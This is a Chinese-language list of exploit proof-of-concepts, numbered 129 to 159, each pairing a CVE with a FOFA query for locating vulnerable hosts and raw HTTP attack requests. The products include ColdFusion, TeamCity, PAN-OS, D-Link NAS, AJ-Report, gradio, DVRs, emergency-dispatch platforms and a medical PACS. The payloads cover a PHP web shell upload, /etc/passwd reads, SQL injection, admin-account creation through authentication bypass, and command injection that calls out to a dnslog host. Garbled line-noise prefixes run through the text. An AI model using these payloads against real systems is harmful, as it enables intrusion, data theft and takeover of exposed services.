; m4 c$ `/ G4 ?4 WAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD
# Y: t# V2 U/ q/ K
0 j( r/ Z6 z* Q. ?7 P2 V129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
) `! _0 I  Q6 S- @" j第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
* y& `' m+ ~1 ^% qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
( t( D' Q/ B: [, ~Accept: */*
) X! m7 z( C6 Q: R0 E  K# {* h2 e: zAccept-Encoding: gzip, deflate
Connection: close
: r, N* ~+ M# V9 J' B

9 j+ I5 v$ m" n  f第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
. B; {" q2 K; `& P0 ^! IHost: x.x.x.x
3 b$ Z( C) F  q! E1 Q9 eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
" Y& u; @8 h& C- z1 hAccept: */*
) k- W: d2 Y( |, G* p; C7 YAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
- [/ F$ z0 _! e) w( D9 d

* F. l6 P, H: t- w/ a( I9 X2 U130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
  ^+ B* h& O5 n/ T/ k% ePOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
, x, m) c7 X; ~/ d4 [; D3 zAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
$ P9 c0 Z5 A8 ]0 U/ @
$ `' {, K4 i6 [" l------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

1 r. w1 k3 |9 h
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
1 {8 w6 `/ ^$ u1 ?$ z; |& i- c1 e后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
2 m* o* ~8 k, O; i1 v; v8 @& v
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
/ X) h. `& n: BPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
- _# ?! L$ i8 q& U; B$ x$ i) ^Host: 192.168.40.130:8111
3 |( R/ k6 J; c" i# `2 t# z7 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
, Z: _% C' H8 g( ^5 aAccept: */*
# y  N) P& C  g0 n/ ~6 Y! g# NContent-Type: application/json
: H7 q$ E* T4 [/ R; vAccept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
% s2 j$ K5 M; {$ d- }7 E
9 C* T  V1 A) s* D
. i* Q6 e! c4 mCVE-2024-27199
+ S; j5 z& r4 i* A/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
% A% R: B( M: s+ z9 {# H/update/../admin/diagnostic.jsp

$ \3 a1 |: p4 B. m# g
+ a" J* t6 a$ {/ lCVE-2024-27198-RCE.py

) X5 f& ]% M5 a4 I' L8 J( R133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
/ j0 Y( W( U2 n) l4 c2 J* ePOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
; e; \7 o* `; ?7 M  q  e1 I/ BHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
2 b" o3 F5 R9 Q* |; Q+ ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
7 t& S3 i; P2 c* J5 H# d  ^# t6 D5 l
<?php system("cat /etc/passwd");unlink(__FILE__);?>
+ x, i+ f1 c  G7 o" [------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
- n# p$ w% b+ r0 j

. z4 t6 H* V! [/ _
134. 网康NS-ASG应用安全网关index.php sql注入
; S. Q6 g" a0 ]: m1 `5 }* M" [CVE-2024-2330
1 |* t+ L7 h9 i6 WNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
8 k5 }+ g- j0 T' I. |) yPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
4 A9 ?/ V$ L+ U  i! n: M; JCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
6 ]9 Q9 v$ L; f: IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
; W4 Q5 g4 M2 J. ^5 C3 {# xAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 ]- `7 o8 S# S' Y; x, u) uAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
- H+ W4 w, s) d: NSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
1 W/ h! O, p- k: \" M8 T
) D8 d9 j7 _! C! R( Y* zjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
) b9 O. s3 }, B+ `- o& X5 M
, G' y5 U& u6 t6 x" j0 q
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
3 y0 z5 ?9 c* R5 |$ z: Z5 t! G: T5 vCVE-2024-2022
7 S! I# i$ @) W9 FNetentsec NS-ASG Application Security Gateway 6.3版本
9 Y/ C, M5 x* e( g6 o7 tFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
  R* ]+ S2 \6 E. KHost: x.x.x.x
/ p( L/ _4 g& A! ?- aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ Q/ p0 q9 v: k  XAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) F4 k5 h* M5 ], I1 `% x- W: I' GConnection: close


( O" g! S. r* }# ~' J4 B- u; {136. NextChat cors SSRF
CVE-2023-49785
9 H" `  ]9 s8 f* U2 _; nFOFA：title="NextChat"
- p% M# F& b; w( |8 S, gGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
" M) h2 r/ I2 nHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
6 r: ]& ?% Y7 D6 t; H+ F* B# TAccept: */*
Accept-Language: en
Accept-Encoding: gzip


$ _; k% A: ^4 Y137. 福建科立迅通信指挥调度平台down_file.php sql注入
3 K7 S- K' A1 l% `. z  wCVE-2024-2620
( O) V2 h" v& @8 BFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
- C! L0 H& \& v0 G) ~+ O4 X7 SConnection: close
4 v4 r6 f3 Y5 X' VCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
4 m+ \& \) F. S  v" OFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 M' x8 q5 n1 G- R: oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' U& F% {1 Z& b  B" Y2 tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
% {9 ]( p1 \6 ~4 ZConnection: close
1 f4 l' g6 i+ g: Z+ }) d( yUpgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
: z% I. l$ {) M* L1 AFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
2 |* t1 O2 w$ d# w& Y6 s5 rGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
% t& j) r! P9 j- w$ \) vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& W8 N! K, t* p% xAccept-Encoding: gzip, deflate, br
Connection: close
3 O" b1 r2 R; r8 @% m7 LCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
' X; V, j1 i2 i  J- m5 Q! eUpgrade-Insecure-Requests: 1
6 j2 q9 `' q2 h; ^. W; q9 E

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
9 m) O8 \8 y0 T* T! ~/ b9 [CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
' F" W. t0 X+ T- KGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
8 ]9 Y* I/ O1 {3 Z" eHost: x.x.x.x
0 p1 K' p5 G' X5 `/ j5 I) IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. m& r9 c8 {( O0 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
2 S- v6 W& ]/ g4 x5 l0 cConnection: close
Cookie: authcode=h8g9
% N' ^$ y$ ^" W" v2 F$ ~* AUpgrade-Insecure-Requests: 1
. \8 ]+ _. x2 O0 e* R6 ~* F& {
. s1 N+ z# {$ t- w
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
$ F6 f% U+ Y7 vFOFA：body="指挥调度管理平台"
, X: d9 }: W) y3 U5 cPOST /app/ext/ajax_users.php HTTP/1.1
( f0 S7 d! a! S5 i+ X& _6 v! kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


1 P$ U% \: a( q" rdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
) u8 J/ T3 \4 G: c+ E0 n) ~5 |CVE-2024-29666
+ B- U- J. `3 WFOFA：body="/808gps/"
' s- T. i- |# X1 madmin/admin
8 s+ k+ a( P5 j! X8 P2 \1 k' y143. Netis WF2780 v2.1.40144 远程命令执行
/ V: M# [8 R  l1 F5 h0 [2 \" H( ?CVE-2024-25850
FOFA：title='AP setup' && header='netis'
8 ^& S3 q# l8 }; U& gPAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
1 `  O* i% }9 l- ~/ ~" @2 A3 F5 gHost: x.x.x.x
1 D* N. c( L8 f- r1 g4 ?User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
( m4 R- m/ e; z0 t) y/ i" k% `Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
  I3 C( x: t8 I) k
( }- F% a/ p% P5 \! H
$ G; K" @2 c/ ~( T$ L145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
9 z! T) H, K& f7 kFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
4 R- ?/ m; i. \! G( ?( L2 ?  aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
  [2 H: ~- N& RCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
: ^/ t+ I- A1 v& u5 y" P  zAccept-Encoding: gzip
$ s- M0 w0 V0 s% o8 r

9 j+ h9 s) F8 @5 `/ P146. MajorDoMo thumb.php 未授权远程代码执行
7 J/ |% B6 k- v; C4 j, ^# b+ pCNVD-2024-02175
8 v0 H9 k, i$ M, o- pFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
1 d2 O% h! N5 W4 I$ T5 s+ |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
* X, r. `2 h; E$ n' KAccept-Encoding: gzip, deflate
Connection: close
9 S5 U" q# A1 E: E/ p( i

4 S6 K, R5 {) a) i% N( d0 u+ K147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
6 B" W3 P3 x  K# [% bCVE-2024-32399
# n6 v3 e8 r; jFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close
9 x! Q) l9 M, h5 X
5 l7 X: N; D6 y1 `) Z9 q9 B
- [( U; M9 f$ N0 D* }9 _: U$ t6 q0 D148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD

. o; V$ M4 N+ H3 C; J+ a7 s" z149. AJ-Report开源数据大屏存在远程命令执行
1 G, \( }: E" N9 x8 JFOFA：title="AJ-Report"

9 }% T! P1 o4 i) N8 s2 [POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
  Y9 h/ z7 N* J1 v4 N8 I+ Y' vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( X9 M% o) ?9 s3 d; V8 q' sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ ?( D/ r' x9 v8 @3 _Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
! O( m+ A" X& f  V" V; Y1 x* @Content-Type: application/json;charset=UTF-8
Connection: close
7 A- l/ q/ L: @7 g+ E" H8 [
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

6 p$ V% u- `& G/ ?* U' V150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
/ p! D8 m. n! r% @, R: bPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
% H4 Q' a* `9 p- J+ d0 f9 A. iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
0 b8 w# h! J: Y- D* c9 iConnection: close
Content-Length: 339
3 g1 r$ I* l) e0 J0 h3 n
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
; c' U& F% t6 V4 ?* ~5 T

" b: p" f: {* w5 l5 u6 v, X  }1 D151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
/ ^9 n+ w9 x2 T7 TGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
3 C; ?( y9 X5 g8 m: F8 ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# h# V4 Y$ h; ?7 L/ {8 PConnection: close
! O6 N! e+ c& p) c- H$ c' C8 h4 EAccept-Encoding: gzip

: }& A$ H; G: `
152. Progress Kemp LoadMaster 远程命令执行
; C. M7 W* q7 F2 ~$ a6 tCVE-2024-1212
& p" w- r( J- J* g! u* Y) uLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
$ x& o+ v2 x+ [) M" r' \' VLoadMaster <= 7.2.48.10 (LTS)
4 k6 X2 D! I5 Z1 N( cFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
! v3 h, }% d# ^1 x# `4 }4 eGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


, }6 i# I( }8 R" O: @1 }$ h153. gradio任意文件读取
$ G7 ^& S/ \& A4 K+ h! {CVE-2024-1561FOFA：body="__gradio_mode__"
% w( ^. b3 y! N  x( w2 B第一步，请求/config文件获取componets的id
6 n* ^1 J" j. ?9 f' H/ J3 Hhttp://x.x.x.x/config
7 c  z8 y3 i( N

第二步，将/etc/passwd的内容写入到一个临时文件
9 c6 z: W6 G$ Y) ?# I  L2 t0 `POST /component_server HTTP/1.1
3 n9 b4 N# D3 M4 p  tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
2 O4 N# T( k: E2 @Connection: close
Content-Length: 115
, W+ ^2 m% _3 IContent-Type: application/json
Accept-Encoding: gzip

9 d; \: E0 y( s8 L( }. `{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
, c% c" E! [$ N+ y# l4 h
: E3 W; o# E' x: M  P! {5 P6 w
第三步访问
/ p# S* X- X4 A0 J# m/ j+ [7 A% ohttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
$ r5 @" H+ i; i. Q. k' B/ S

154. 天维尔消防救援作战调度平台 SQL注入
7 G" z+ |$ J" OCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
- i* y) ]; l, o+ i4 r2 A2 JPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
3 b4 m0 j& @9 J' t& u% cContent-Length: 106
$ L; ^" a8 m$ W  B) QCache-Control: max-age=0
# b& z8 j- n+ i0 d/ x+ OUpgrade-Insecure-Requests: 1
/ i) V0 W  d( x5 ~Origin: http://x.x.x.x
, W2 X6 E) w* R9 [  {& LContent-Type: application/json
; g' U- I# b' X2 ^8 I$ F: bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
0 ~! Z/ D& {. I( a% _' zConnection: close
$ Q3 o- S, w' _! Z
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


; D; W/ X% K! K% M; D% W155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
8 }  i+ L. ?7 I+ n/ @1 p; T" p) }' CFOFA：title=="上网导航 - LyLme Spage"
) j4 v5 z7 W& C. \1 yPOST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
& u4 u+ w5 B5 M/ V0 `Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( B5 K7 n: h3 u. bContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
$ ^. e: @% E- d7 t5 c! r8 l$ kX-Requested-With: XMLHttpRequest

- \, k5 r& m' h+ a; N) L: G) R8 n9 m-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
- ]) n* o5 }9 s9 |% s) ?5 g
<?php phpinfo();unlink(__FILE__);?>
1 L/ P5 T5 y& j7 d1 i( Q7 L7 Y1 l/ L-----------------------------qttl7vemrsold314zg0f--


" [7 v- @2 h, P. E1 D. _5 v7 s, Z' y访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

9 T: y$ }1 I, |# g6 D2 P& Q156. TBK DVR-4104/DVR-4216 操作系统命令注入
/ R2 n" E# v& h% i6 p/ T& MCVE-2024-3721
  e8 P+ t2 g: ]4 I/ `) [FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
  Q9 W& S1 ]: e5 D, e

& s7 j* T, X3 K7 R2 F! XPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
" b9 e+ f: O7 ^Host: x.x.x.x
$ t0 U* ?0 h. {8 G2 [User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) Z% N4 f( H5 ^4 {8 p1 WConnection: close
Content-Length: 0
; v. y/ E. ?. s3 v# wCookie: uid=1
' a, K8 e* [+ O9 ?$ R- Z# C5 f6 bAccept-Encoding: gzip
1 n% X. U: G( m3 r4 P, v
" B  \" H. E" \, g8 S* C
- U& E; E8 o' z( b9 F157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
2 c' p: u6 T- R. X" x! CContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
4 t* `* I" O0 y& A2 }Upgrade-Insecure-Requests: 1
. g  x0 o* e8 S; a0 @- D
$ S3 ~% R/ g+ o* O$ l------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

/ y" e' @; u$ [/ Bnyhelxrutzwhrsvsrafb
6 N5 j0 s- [' V4 A( [" \# }. |------WebKitFormBoundary1imovELzPsfzp5dN
+ m6 p$ `$ R2 w$ \Content-Disposition: form-data; name="key"
' r! F1 v% V( x8 y, \! j1 ]
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
1 F7 z* b+ n! {* b) e0 g  J
null
------WebKitFormBoundary1imovELzPsfzp5dN
2 F) y& N# f& ~3 T5 jContent-Disposition: form-data; name="field"

null
; t2 U7 J" D  Q; |8 v/ r0 M------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
$ O! Z  e8 @+ \2 ^0 M. _
$ {8 V& m. B  |/ ?$ Dnull
' X- F& B- R& J------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

5 I6 J8 t3 [" V& Anull
------WebKitFormBoundary1imovELzPsfzp5dN--
' X# H4 {/ w+ X: z- Q" @# A" X
" C5 m' P+ x' I* B! ]( U
! B! F+ p% T1 U, O( ahttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

& F  |9 I! T# E0 I: u1 O& @0 l158. Mura-CMS-processAsyncObject存在SQL注入
5 M/ D) o9 r9 ~' zCVE-2024-32640
FOFA："Generator: Masa CMS"
- U( ^3 C( G# h9 p0 e# T5 TPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
+ B7 X& d$ S" e* }% h4 fHost: {{Hostname}}
) X7 Z3 {$ R5 p, Z5 eContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
3 C, p& c# I1 G3 L
/ l' M7 S! K7 H/ [$ h% D
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
6 M+ y  L) V5 G; u3 r$ i- DPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
